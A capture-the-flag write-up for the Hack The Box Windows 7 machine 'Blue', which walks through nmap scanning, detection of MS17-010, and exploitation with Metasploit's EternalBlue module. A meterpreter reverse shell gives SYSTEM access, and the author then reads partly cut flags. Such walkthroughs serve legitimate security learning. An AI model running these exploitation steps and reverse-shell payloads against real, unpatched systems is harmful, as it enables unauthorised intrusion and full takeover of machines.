🔵

Blue

Platform	HTB
Operating System	Windows
Tags	metasploit smb

General-Information

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-

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https://app.hackthebox.com/machines/51

Scanning/Enumeration

▼ Running a `-A` switch enabled with `nmap` I get back a heap of ports being open with the most interesting ones being 135, 139, and 445,for SMB. Looking at port 445, I see information about the service version for that port. Looking more at the `nmap` scan I see information about the workogroups' computer name being `HARIS-PC`

- Basic `nmap` scan results: `nmap -A $IP -oN nmap.txt`

```
PORT     STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Host script results:
|_clock-skew: mean: 15m17s, deviation: 1s, median: 15m16s
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-03-11T20:38:29+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-03-11T20:38:27
|_  start_date: 2022-03-11T20:36:30
```

▼ Checking the feedback from the `nmap` scan with vulnerable scripts enabled I see that there is one possible vulnerability that's been located within SMB, `smb-vuln-ms17-010`. Which when passed to `metasploit` reveals that this is the Eternal Blue exploit, which seems fit for this box given the name of it.

- `nmap` vuln scan results: `nmap --script vuln $IP -oN Nmap_vuln-initial.txt`

```
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

- `search ms17-010`

```
msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
```

Metasploit

▼ Being greeted with the `meterpreter` shell I know that the exploit worked and am logged onto the Windows machine now!

- options

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.10.40      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.[redacted]    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

- `meterpreter` session

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.6:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.10.40
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.10.14.6:4444 → 10.10.10.40:49158) at 2022-03-24 13:47:33 -0400

meterpreter > _
```

▼ Using the `getuid` command I see that I'm already the user `NT AUTHORITY\SYSTEM` which means I have the highest privileges on this machine and can go through and grab both flags quickly to finish this machine off.

- `getuid` displaying that I'm `NT AUTHORITY\SYSTEM`

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > _
```

🚩User.txt Flag🚩

▼ To find the user flag I navigated to `haris`' desktop folder and `cat`'d out the flag

- `user.txt flag`

```
meterpreter > dir
Listing: C:\Users\haris\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-07-14 09:45:52 -0400  desktop.ini
100444/r--r--r--  34    fil   2017-07-21 02:54:02 -0400  user.txt

meterpreter > cat user.txt
66
```

🚩Root.txt Flag🚩

▼ The root flag as usual was located in `C:\Users\Administrator\Desktop` folder, which just needed a `cat` command to be viewed

- Viewing `root.txt` flag

```
meterpreter > dir
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-07-21 02:56:36 -0400  desktop.ini
100444/r--r--r--  34    fil   2017-07-21 02:56:49 -0400  root.txt

meterpreter > cat root.txt
d1
meterpreter > _
```

What I learned

- I've done a challenge similar to this on TryHackMe, but it was nice to see it in a more hands on perspective.